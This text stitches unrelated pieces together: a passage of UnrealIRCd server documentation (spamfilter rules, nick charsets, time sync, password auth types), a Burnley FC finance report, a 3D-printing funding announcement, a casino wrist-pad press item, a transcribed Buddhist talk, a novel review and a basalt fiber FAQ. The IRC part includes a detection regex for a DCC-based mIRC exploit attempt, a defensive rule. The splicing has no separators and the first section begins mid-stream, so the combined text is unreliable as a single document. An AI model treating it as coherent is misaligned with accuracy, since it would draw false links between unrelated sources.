/SPAMFILTER add -regex pc kill - Possible_mIRC_exploit_attempt \x01DCC (SEND|RESUME).{225}
Or in the configuration file:
spamfilter { match-type regex; target { private; channel; }; action kill; reason "Possible mIRC exploit attempt"; match "\x01DCC (SEND|RESUME).{225}"; };
To learn more about regex, see Introduction to regex (PCRE).
UnrealIRCd supports the CIDR notation when allowing/disallowing IP's. This can be used in bans, allow blocks, oper::mask, etc. etc. If you prefer to use CIDR, you can use it.
An example of CIDR would be 127.0.0.0/8 which matches 127.0.0.0 through 127.255.255.255. In this example we could just as easily have written 127.*.
For more information see Wikipedia - CIDR.
Nick Character Sets[edit]
In UnrealIRCd you can specify which "character sets" or languages should be allowed in nicknames. You do this in set::allowed-nickchars.
Available character sets[edit]
Table of all possible choices:
|Character set / encoding
|Catalan characters
|iso8859-1 (latin1)
|Danish characters
|iso8859-1 (latin1)
|Dutch characters
|iso8859-1 (latin1)

|Japanese Hiragana/Pinyin
|Multibyte: GBK
|Multibyte: GBK
|Multibyte: GBK
A few notes:
- The following basic nick characters are always allowed/included: a-z A-Z 0-9 [ \ ] ^ _ - { | }
- Some combinations can cause problems and will cause an error. For example, combining latin* and chinese-* can not be properly handled by the IRCd and UnrealIRCd will refuse it. Mixing of other charsets might cause display problems. UnrealIRCd will print out a warning if you try to mix latin1/latin2/greek/other incompatible groups.
- Casemapping (if a certain lowercase character belongs to an upper one) is done according to US-ASCII, this means that characters like ö and Ö are not recognized as 'the same' and hence someone can have a nick with álpha and someone else Ápha at the same time. This is a limitation of the current system and IRCd standards that is hard to solve. People should be aware of this limitation. Note that this limitation already existed in channels (in which nearly any characters have always been available for use, and casemapping was also always performed in US-ASCII).
Example 1: Western Europe[edit]
For people in western europe:
set { allowed-nickchars { latin1; }; };
Example 2: Chinese[edit]
This allows nick names to contain both Simplified Chinese and Traditional Chinese characters:
set { allowed-nickchars { chinese-simp; chinese-trad; }; };
WebSocket Support[edit]
WebIRC Support[edit]
UnrealIRCd supports the WEBIRC / CGIIRC protocol. Similarly to WebSocket support (see above) this allows users to use an internet browser rather than a "real" IRC client and still make them show up on IRC with their real IP. If you want your users to be able to use Mibbit or IRCCloud then you need to configure this. (Read more)
Time synchronization[edit]
Having correct time is extremely important for IRC servers. Without correct time, channels can desynch, innocent users can be killed, channels might not show up properly in /LIST, in short: a lot of trouble will occur.
UnrealIRCd has some built-in time synchronization support. Although not optimal (time can still be off a few seconds), it should get rid of many time differences.
What UnrealIRCd's TimeSynch does (by default) is do a one-shot timesync attempt when booting. It sends (by default) a request to multiple time servers and when it gets the first (fastest) reply, it will adjust the internal ircd clock (NOT the system clock). If, for some reason, Unreal does not get a reply from the timeserver within 3 seconds, the IRCd will continue to boot regardless.
Time synchronization is configured (and can be turned off) through the set::timesynch block, see the set documentation for more information.
UnrealIRCd vs NTP[edit]
If you can, we recommend you to run time synchronization software on your system. Such software is more suited to keep your system clock correct.
On *NIX (Linux) you should install the 'ntp' package (as root):
sudo apt-get install ntp
sudo yum install ntp
On Windows you can use the time synchronization service (enabled by default nowadays?).
Disabling TimeSynch[edit]
You can disable timesynch, for example if you use NTP or another time synchronization service on your system (and you're absolutely sure it works correctly) through:
set { timesynch { enable no; }; };
If your system clock is always correct (because you use NTP) then leaving timesynch enabled won't cause any issues. UnrealIRCd's timesynch will detect the clock is off by zero seconds and thus won't adjust the IRCd clock.
Authentication types[edit]
At various places in the configuration file, for example the Oper block, Vhost block, Link block and Allow block you can authenticate clients by password or other means. You can specify the password as plaintext, but you can also specify an "authentication type".
Available auth-types[edit]
The following auth-types are available:
|Security level
|How to generate
|Plaintext / cleartext password
|Plaintext password directly in the config. Not recommended.
|MD5 with salt
|Deprecated. Do not use.
|SHA1 with salt
|Deprecated. Do not use.
|RIPEMD160 with salt
|Deprecated. Do not use.
|UNIX crypt. The exact hashing algorithm depends on the type of crypt
and the security can therefore range from bad to reasonable.
|Bad or reasonable
|Not recommended.
|Blowfish crypt with salt and many rounds [1]
|On IRC: /MKPASSWD bcrypt <password>
On *NIX shell: ./unrealircd bcrypt mkpasswd
|Argon2 hashing algorithm. Many rounds, anti-GPU cracking measures, etc. [2]
Added in UnrealIRCd 4.2.1.
|On IRC: /MKPASSWD argon2 <password>
On *NIX shell: ./unrealircd mkpasswd argon2
|SSL Client certificate
|Path to a public SSL certificate (.pem file)
|SSL Client certificate fingerprint
|For a given SSL certificate such as client.pem, run:
openssl x509 -in client.pem -sha256 -noout -fingerprint
and copy the AA:BB:CC:DD:etc... fingerprint.
The last two types, sslclientcert and sslclientcertfp require a bit more work and expertise, as the user (or server link) must generate their own SSL Certificate and then use it to connect to the server via SSL/TLS. We suggest to use this auth-type to authenticate server links (as described in our Tutorial: Linking servers), and also for /OPER (in the Oper block). See example 2 and 3 below.
If you just want to authenticate by password then use the argon2 algorithm (or, if you are using 4.2.0 or lower then bcrypt). It's the best password hashing algorithm we can offer and it's slow to crack.
Example 1: bcrypt password in vhost block[edit]
Say, you want to use the password test and want to use bcrypt hashed passwords.
NOTE: Starting with UnrealIRCd 4.2.1 you better use 'argon2' instead of 'bcrypt', because it's even better.
- As IRCOp run:
/MKPASSWD bcrypt test
or on the *NIX command line run:
irc@system:~/unrealircd$ ./unrealircd mkpasswd bcrypt Enter password to hash: Encrypted password is: $2y$09$vy1yzAEDsvps.4.2WEjgm.RZ0A7q.PYnbYGKGjngt0UOmZfo10cky
- You should get back a string that starts with $ followed by a lot of characters.
- Put this string in your vhost block like this:
vhost { vhost I.love.Tux; mask *@*; login Tux; password "$2y$09$vy1yzAEDsvps.4.2WEjgm.RZ0A7q.PYnbYGKGjngt0UOmZfo10cky"; };
- /REHASH your IRCd server configuration (Execute /REHASH as an IRCop on IRC)
- Try to use the new vhost by typing /VHOST Tux test
Example 2: Oper by SSL Client certificates[edit]
sslclientcert and sslclientcertfp are exceptional auth-types which can be used to authenticate SSL users by their client certificate. With these authentication methods you can be sure the user is using SSL and is using the specified client certificate. It's very secure but is a slightly advanced feature.
Here's an example of how to use it for the oper block:
- Create an SSL client certificate if you don't have one already (search the web for 'create ssl certificate' if you don't know how)
- Grab the SHA256 hash of the certificate by running this on your *NIX shell or in Windows in your C:\Program Files (x86)\UnrealIRCd 4 directory:
openssl x509 -in name-of-pem-file.pem -sha256 -noout -fingerprint
where name-of-pem-file.pem is your SSL certificate.
- In the configuration file, set the password to the AA:BB:CC:DD:etc.. hash you saw from previous command. Example:
oper test { password "E7:4D:46:F1:9F:F4:68:F5:E8:E3:49:CC:28:5D:F9:65:85:BA:4F:16:B6:49:02:E3:34:E6:E7:6A:FE:76:A7:98" { sslclientcertfp; }; flags { global; can_override; }; class clients; };
- Rehash your server (type /REHASH on IRC as an IRCop)
- Connect with your SSL client and make sure it uses your SSL client certificate. You will have to specify it somewhere in your client, consult your clients' documentation.
- Now oper up through /OPER test (on older servers /OPER test x). When you try this, make sure that you are not already an IRCOp.
- You should now have IRC Operator rights.

Burnley: Andre Gray and Michael Keane sales help club record £36.6m profit
Last updated on .From the section Burnley
The sales of Andre Gray and Michael Keane helped Burnley to a record £36.6m profit for the year ending June 2018.
Striker Gray, 27, was sold to Watford for about £18.5m, while defender Keane, 26, joined Everton for a fee up to £30m in 2017.
Burnley's previous record profit was the £30.1m posted in June 2015.
The Premier League club, who finished seventh last season, are 17th and two points above the relegation zone with seven games of this campaign left.
Burnley's turnover increased from £121m to £138.9m for the 2017-18 season, while wages went from £61m to £81m.
"We continued to invest in new playing talent whilst trading players where we felt that they might be at, or close to, the peak of their value," said Burnley chairman Mike Garlick.
"As we hopefully continue to maintain our Premier League status going forward, the above will form a key part of our strategy and, in the main, we will purchase players who improve the quality and competitiveness of our first team and are able to technically develop further and grow in value."

U.S. Senators Susan Collins, Lamar Alexander and Angus King joined University of Maine and Oak Ridge National Laboratory (ORNL) leaders to announce the launch of a large-scale bio-based additive — 3D printing — manufacturing program.
University of Maine and ORNL to announce $20 million 3D printing manufacturing partnership
The new partnership will harness Oak Ridge's leadership in additive manufacturing and UMaine's expertise with bio-based composites to advance efforts to 3D print with wood, creating a new market for Maine's forest products industry.
Collins and King have been active in encouraging this type of collaboration between Maine's forest products industry and leading researchers. In 2016, they called on the U.S. Department of Commerce to establish the Economic Development Assessment Team (EDAT), that would work across agencies and sectors to create strategies for job growth and economic development in Maine's rural communities. EDAT's work led directly to this partnership between UMaine and ORNL.
The $20 million effort, funded by Department of Energy's Advanced Manufacturing Office, aims to strengthen regional manufacturing by connecting university–industry clusters with the Manufacturing Demonstration Facility at ORNL. Alexander, chair of the Energy and Water Development Appropriations Subcommittee, and Collins, a member of the subcommittee, worked to secure funding for this initiative in the fiscal year 2019 Energy and Water bill.
The use of additive manufacturing – or 3D Printing – is gaining momentum within the composites industry, whether aiding design, prototypes, tooling, mandrels, mass-customisation, direct & in-...

Slot players who spend long hours spinning their favorite reels no longer have to fight wrist fatigue, thanks to a new product, the Players Wrist Pad, introduced by Las Vegas-based J&T Inc.
"A common request of many of our clients, mainly slot managers and casino executives, has been for upright machine enhancements that would allow for a more comfortable playing experience," said John Rolofson, J&Ts owner and president. "Players dont sit long in an uncomfortable chair, nor do they stay long if they are tired of holding their arms up in the air."
J&Ts answer to the problem is a new line of ergonomic gaming products specifically designed to enhance players comfort while plugging away at the machines.
The first product was the Wrist Pad, especially designed for players at upright slot machines. It is a weight-bearing wrist support pad created to allow comfortable play for an extended length of time, while simultaneously reducing fatigue to the wrists, arms and back.
The Wrist Pad can be attached to most slot machines, even after theyve been delivered to the casino. It has been tested and approved by the Nevada Gaming Control Board, and is currently in use in many Las Vegas casinos, including the California, Flamingo, Arizona Charlies and Sunset Station.
So far, the response to the Wrist Pad by casino operators has been favorable.
"The response by players has been positive," said Jay Fennel, director of slot operations for Sunset Station. "There has been a positive noticeable increase on machine play equipped with Players Wrist Pads."
Linda Ludwig, the slot shift manager at Arizona Charlies East, added, "The response has been very positive, from everyone that has used them to the employees.
The California Hotel has also noted increased player comfort levels, and longer play at machines equipped with the pads.

Love, Work, Music
[Q]: (Inaudible)
[DJKR]: So, we'll talk about relationships first. Relationships, you don't have much choice. When it comes, it comes. The only people who have a choice are those sublime beings who have no more karma, no more emotion. Then they can choose, "Oh, okay, today I'm going to have a relationship. Maybe tomorrow I'm going to pause the relationship. And then start [again] the day after tomorrow". Like that.
But for people like you and me, we have no control. Even when sometimes you think "Oh, I have [had] enough of relationships. I'm not going to have any [more] relationships." Or "I'm not good. Nobody is going to like me", this kind of thing. Even if you think like that, when your karmic wind blows, relationships will just come out of nowhere. And if there is no circumstance like that, even though you're the most beautiful, the most good-looking, you have everything, you are confident, you think you can have relationships - it will be dry like the Sahara desert. Nothing. No relationships.
So the important [thing] about relationships is not to have too many expectations. A little bit of expectations, you know we human beings have [that]. But many times we have too strong expectations, both negative and positive. "Oh, I'm going to have it". Or "I will never have relationships". Or "This relationship is going to be very good. He or she is my soul mate". Or "No, he or she is not good for me". Too strong decision and expectation, and that always ruins the relationship.
So if you're a couple, I think it's good to think like, your attitude should almost be like you have checked in to a hotel for a few days together. But soon the guests are going to go away, separately. So it's a temporary thing. If you have that kind of attitude, "I might never see her again [after] tomorrow. This may be our last goodbye or kiss" or whatever, maybe it will help. It will bring the preciousness of the relationship. And I think, yes, when a relationship comes you should not be afraid. You should have relationships. If it doesn't happen, then again you shouldn't be too hard on yourself.
[Q]: (Inaudible)
[DJKR]: I have noticed that many young people are too idealistic. They [would] all like to do things that are idealistic - [be] musicians, [make] art, things they like. They end up mixing their hobbies and work. In your life you want to do this, this, this and this [DJKR counts on his fingers]. You really don't want to do this [other thing], such as plumbing. You know, fixing toilets or whatever. But my advice for younger people is probably you should do this [other] one, the one that you don't like to do. So that you can do the rest.
It's kind of unfortunate [that] we live in this world where the system - like bills, telephone bills, grocery bills - every step we take in this modern world, it costs. So I think it's good to have a job [that] already aims for something practical. I think things like a PhD in physics, yes maybe it's good, but it's too hard. And a PhD in poetry, there are no jobs. I would rather that young people learn [to be] plumbers and electricians, something that the world needs in the future. So that you work, save money, and [then] do whatever you want. Dharma practice, if you want, of course [it's] the best. But if you are not practicing the Dharma, holidays. And you are your own boss.
[Q]: (Inaudible)
[DJKR]: Yes, people should listen to heavy metal, whatever. What's his name, the one with the biggest makeup? [Inaudible] Yes, [he's] really good. They should listen. Nothing wrong. If you block your ears to this kind of thing, close your eyes to this kind of thing, then soon you might have to lock [yourself] inside [your] room. Because nothing is perfect in the world. So better not escape like that. They should listen to whatever they want to listen to.
But to be kind. To believe in cause, condition and effect. To be not extreme. To be gentle. As long as you have these things as a base, [between] heavy metal and Mozart, there's not so much difference.

This was one of those books I've seen around for years, and always thought I should pick it up, but just never got around to it. I'm glad the trailer of the Netflix movie adaptation came out when it did, though, and finally got me to try it out, because this was a very cute book and otherwise who knows when I would have given it a chance (I tend not to read contemporary very much).
To All the Boys I've Loved Before follows Lara Jean Song, a sixteen year old biracial girl whose older sister (and substitute mother figure, practically) has just gone off to college in Scotland, leaving Lara Jean at home with her sister and widowed father. The Song girls are very close, and so this throws Lara Jean off as she heads into her junior year of high school. To make matters worse, somebody has mailed off Lara Jean's box of love letters. Lara Jean has never had a boyfriend, but she has had crushes. It's her thing when those crushes are ending to write them a sort of Dear John letter, excising her feelings and giving herself closure. She keeps the letters in a hatbox her mother gave her, and she never reads them again. Her old crushes start receiving her letters, which of course is not ideal. Things happen.
This book is actually kind of sneaky, because it sets you up with boy red herrings at the beginning, and you think it's going to be one thing, and then while you're not looking it turns into this other thing. (The blurb doesn't even advertise that it utilizes, and does so very well, one of my favorite tropes: SPOILERS the fake relationship that turns into a real one END SPOILERS. I really feel this does the book a disservice, because if I had known that trope was going to be in this book, I would have picked it up a lot sooner.)
What I liked most about this book was that it really felt like Lara Jean and all of her friends were actually sixteen years old. There was an innocence to everything, even while they were being hormonal as hell. And there was some really sassy dialogue in here, particularly between Lara Jean and one of her goober ex-crushes, Peter. The sisterly relationships were really nice, too.
Mostly, it was just really cute and satisfying, and pretty much exactly what I was wanting when I picked it up. I'll definitely be reading the other two books in the series, and checking out the Netflix movie when it comes out.

1. What is fiber?
Fiber is a segment of the complex fiber of a given length. The most popular fiber types on the market are basalt, steel, polypropylene, copolymer, fiberglass.
2. What is basalt fiber made of?
Basalt fiber is made of environmentally friendly natural material basalt. No impurities and compounds are added to the basalt stone melting process.
3. What are the fiber lengths and what length for what use is recommended?
We produce basalt fiber of the following lengths: 5 mm, 12 mm, 24 mm, 36 mm, 50 mm, 60 mm, 100 mm. In the construction industry the most commonly used fiber is 5 mm, 12 mm, 24 mm; in the composite area – 5 mm and 12 mm.
4. What is a sizing type?
In the manufacturing process of fibers, monofilaments are lubricated with special auxiliary materials, so-called lubricants. In the manufacturing process, the basalt fiber is lubricated with two types of lubricants: technological and direct. The technological lubricant is used in order to give each monofilament a smooth surface and fill in any voids. The task of direct lubricant is to ensure the bonding of monofilaments in segments and to guarantee the maximum adhesion of fibers to the components of the environment, as well as the removal of moisture and air from the concrete mixture. Our company uses the silane-based lubricants.
5. How to choose the right kind of fiber for a particular application?
We provide advice and technical support to all our clients. We share the practical experience of our partners, as well as confirm it with the test reports conducted in higher education institutions, scientific structures, accredited laboratories, etc.
6. What are the benefits of using basalt fiber.
Basalt fiber is a unique reinforcing environmentally friendly material that improves the properties of the final product when used correctly, ie the properly selected length, sizing type, and quantity.
7. What are the benefits of adding fiber to concrete?
Basalt fiber in concrete helps to prevent the appearance of microcracks, increase the strength of concrete, increase the durability of the structure and guarantees economic benefits.
8. How much fiber should I add to concrete?
The amount of fiber to be added to the concrete depends on the purpose you have. If the task is only to remove the microcracks, then 1 kg per m3 of concrete will suffice. If you want to increase the strength of concrete, then the amount of fiber depends on the concrete grade that you use: the higher concrete grade, the more fiber should be added in order to get the desired result. It is worth remembering that there is a point of saturation of concrete with fiber, that is, adding a large amount of fiber will not make any sense as growth will cease. In more detail, we consult each client individually, taking into account all the factors of the case.
9. How to mix fiber in concrete?
We recommend to mix the fiber in the dry condition with other inert components (sand, cement, gravel). In this case, we recommend to increase the mixing time of the concrete mixture by 10-15 seconds. The water should be added only after the mixture is evenly mixed.
10. Do I need to cut fiber from the concrete surface?
Basalt fiber, unlike metal fiber, does not require extra labor for cutting from the surface, and polishing of basalt reinforced concrete.
11. How is basalt fiber supplied to the customers? What is the standard packaging?
Basalt fiber is supplied in 20 kg plastic bags that are packed in big bags or boxes. Packaging may be changed by customer order. We take care of the comfort of each client.
12. What are the advantages of basalt fiber compared to steel and polypropylene?
Basalt fiber guarantees three-dimensional reinforcement of concrete, it does not settle on the lower layers of concrete, as steel fiber does and does not rise to the upper layers, such as polypropylene. Basalt fiber does not corrode, as steel fiber, and it is resistant to the alkaline environment and does not disappear in concrete, as polypropylene fiber does over time.
13. What are the advantages of basalt fiber compared to fiberglass?
Basalt fiber is an environmentally friendly, natural material that is resistant to alkaline (as you probably know not all the types of fiberglass are resistant to such an environment, but the fiber that is stable (CR) is much more expensive.), has greater strength (basalt fiber has 3000-4840 MPa, fiberglass – 3100-3800 MPa), and a wide range of operating temperatures (basalt fiber -260 … + 680, fiberglass -50 … + 350).
14. What are the advantages of basalt fiber over carbon?
Compared to carbon fiber, basalt has a wide range of operating temperatures and a significantly lower price, with close to carbon fiber strengths.
15. What fiber grade is used for foam/gas concrete?
We recommend to use RBR-18-T10/12 for foam/gas concrete
16. What basalt fiber is used in dry mixtures?
For dry mixtures it is recommended to use RBR-18-T10/5 and RBR-18-T10/12.
17. Which fiber is used in high-strength concrete?
We are recommending to use RBR-18-T10/12, based on the positive experience of our customers.
18. What are the benefits of using basalt fiber in asphalt?
Basalt fiber increases fracture resistance, resistance to landslides, resistance to the rut formation, increases the durability of road surfaces.
19. What is roving?
Roving is a continuous, unidirectional, complex basalt fiber wound in a bobbin. Roving can be internal or external, on a cartoon tube or without it.
20. What are the main characteristics for roving?
The main parameters for roving are the diameter of the monofilament, the type of sizing, the linear density (tex), the type of unwinding and the quantity (kg per bobbin).
21. What is basalt rebar?
Basalt rebar is a load-bearing rod with a continuous spiral rib, formed by winding a basalt strip moistened with a high-strength polymer compound. Basalt rebar is a composite material that has unique qualities provided by the basalt fiber.
22. What are the diameters of the rebar?
We manufacture basalt rebar of the following diameters: 4 mm, 6 mm, 8 mm, 10 mm, 12 mm, 14 mm.
23. Where can basalt rebar be used?
Basalt rebar is an irreplaceable material for reinforcing structures that work on the ground, as well as in conditions of the aggressive environment (roads, bridges, overpasses, foundations, industrial floors, structural products).
24. What are the restrictions on the use of basalt rebar?
It is worth remembering two limitations in the use of basalt rebar: it cannot be used in load-bearing structures, as there are restrictions on fire resistance, as well as in slabs of overlap, where the length of the slab is more than 3 meters (due to the low modulus of elasticity of the basalt reinforcement).
25. Is it possible to bend basalt rebar?
Basalt rebar at the site can be bent only with industrial dryer, however, it is not desirable to do this, because, at the point of bending, the rebar loses its strength.
26. What are the benefits of using basalt rebar?
Basalt rebar significantly extends the life of the structure, facilitates it, does not require welding, does not require the use of lifting equipment, has a positive economic effect.
27. Is it possible to replace the steel rebar with basalt in all cases?
Not in all the cases, basalt rebar can replace steel rebar. See question 24. Also DSTU-N B V.2.6-185: 2012 "GUIDELINES FOR DESIGN AND MANUFACTURE OF CONCRETE STRUCTURES WITH NON-METAL COMPOSITE REBAR ON THE BASIS OF BASALT- GLASS- ROVINGS" recommends to use steel bent elements in the places where it is necessary and bind it with straight basalt bars.
28. How shall the basalt rebar replace steel reinforcement?
As basalt reinforcement is 3 times stronger than steel reinforcement, it replaces steel not diameter to diameter, but with a certain step, so 4 mm basalt replaces 6 mm steel rebar, 6 mm basalt – 8 mm and 10 mm steel, 8 mm – 12 mm steel, 10 mm – 14 mm, 12 mm – 16 mm, 14 mm – 18 mm.
29. What is the maximum operating temperature of the basalt rebar?
The maximum temperature maintained by the basalt rebar outside the body of the concrete is +180 C.
30. Is it possible to weld basalt rebar?
No, the basalt rebars are joined by plastic clamps or knitting wire.
31. Is basalt rebar sold in tonnes?
Basalt rebar, like other types of composite rebars, is sold in meters.
32. What are the minimum and maximum length of basalt rebar?
We supply basalt rebar from 1m to 12 meters in length.
33. How is basalt rebar packaged and delivered to the facility?
Basalt rebar is packed in packs. Small diameters (4mm, 6mm, 8mm) can be rolled up to the client's order. Due to the low weight basalt rebar is supplied by any convenient transport.
34. Is it cost-effective to replace steel rebar by basalt?
The economic effect of replacing steel rebar with basalt when properly redesigned is about 30%.
35. What are the regulatory documents governing the use of basalt rebar?
DSTU B.V.2.6-145: 2010 "Construction of buildings and structures. Protection of concrete and reinforced-concrete structures against corrosion. General technical requirements".
DSTU-N B V.2.6-185: 2012 "Instructions for design and production of concrete structures with non-metallic composite reinforcement based on basalt and glass roving".
